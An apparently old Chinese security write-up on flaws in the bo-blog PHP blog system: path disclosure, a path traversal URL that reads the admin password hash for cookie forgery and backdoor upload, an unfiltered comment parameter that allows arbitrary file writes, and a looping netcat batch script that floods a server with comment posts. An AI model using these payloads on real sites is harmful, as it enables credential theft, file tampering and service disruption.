关于bo-blog的安全隐患

bo-blog是一款外观好看,而且当前流行的个人博客系统,在很多下载站你都可以找到这套程序,而且甚至有很多安全界的人都使用着这套php+txt的程序,但是这套程序里有些安全隐患,可能会被人利用去做一些破坏。
首先开门见山,我们说说它的绝对路径暴露问题………
只要提交地址:_blank>http://localhost/blog/index.php?m=2&y=/2005
就可以得到程序所在绝对路径!

这是php中很经常出现的问题!
现在我们在来看一段代码,这是showcat.php里的内容!

if (!file_exists("$dirblog/$cat.php")) {
wronginfo($langerrornocat);
}
unset ($allfiles);
$allfiles=@file("$dirblog/$cat.php");

看到了没有?他直接把cat.php没有处理就拿出来用了,而它又是怎么处理他拿出来的数据的呢?
for ($i=$start; $i<$end;$i++) {
$latest=explode("|",$allfiles[$i]);
$articleid=$latest[1];
$articlename=$latest[2];
$latest[3]=mktimezone($latest[3]);
$showtime=date("Y-n-j",$latest[3]);

这样,它将$cat提交来的文件打开,读出来,但是以|为分隔读出文件内容,因为以|读出文件内容却是从1开始的,所以我们读不出其他的文件,我们只能读文件里有|的文件的第一个|后面的数据。也就是说,假设我们知道用户所在目录的话,我们就可以提交_blank>http://localhost/blog/index.php?job=showcat&cat=../saiy/userid
便可以得到管理员的密码散列。
然后伪造cookies登陆,直接可以传后门了。但是前提是要知道目录名,所以这只限制于目录名了,但是假设对方站点上有其他的php+文本的程序,我们可以利用此文件读出隐秘内容。
我们再来说第二个问题,回复评论未限制时间,大家大概觉得这不算什么问题吧,看完代码不知道你还会这么想吗?
$replyauthor=safe_convert($replyauthor);
$remreplyauthor=$replyauthor;
if ($replyemail!="") $replyauthor.="胃胃".safe_convert($replyemail);
$replycontent=safe_convert($replycontent);
$simplecontent=preg_replace("/[(.+?)]/is", "", $replycontent);
$simplecontent=preg_replace("/<(.+?)>/is", "", $simplecontent);
$simplecontent=preg_replace("/&(.+?);/is", "", $simplecontent);
$curexcerpt=msubstr($simplecontent,0,20);
$timestamp=time();
$areply=@readfromfile("$dirblog/$articleid.rpl");
writetofile("$dirblog/$articleid.rpl",$replycontent."
|rep|
".$areply);
writetofile("$dirblog/list.php",$all1);
updaterenum(1);

看到没有?居然也没对$articleid做过滤,大家觉得吓人吗?哦?你们觉得不怎么样?恐怕不好玩?我改改你再看看。
writetofile("$dirblog/C:winntsystem32hacker.rpl",$replycontent."
|rep|
".$areply);

呼,这样我们把一个垃圾文件写到系统目录下了。要么,写到管理员启动目录?一个N大无比的文本文件。
只要我们不停的提交数据,则不断的把文件写入了,假设你手头没有工具可以帮你提交,我教你个简单的,利用NC的方法!
首先,抓取你发表评论的包,存在NC所在目录下,命名为test.txt。这个大家都会做吧~~
再建立一个bat,命名为test.bat内容为:
nc www.test.com 80 cls
test.bat
呵呵,运行这个.bat文件它就会不停的发送评论了,开两个就是两个线程哦 o(>_<)o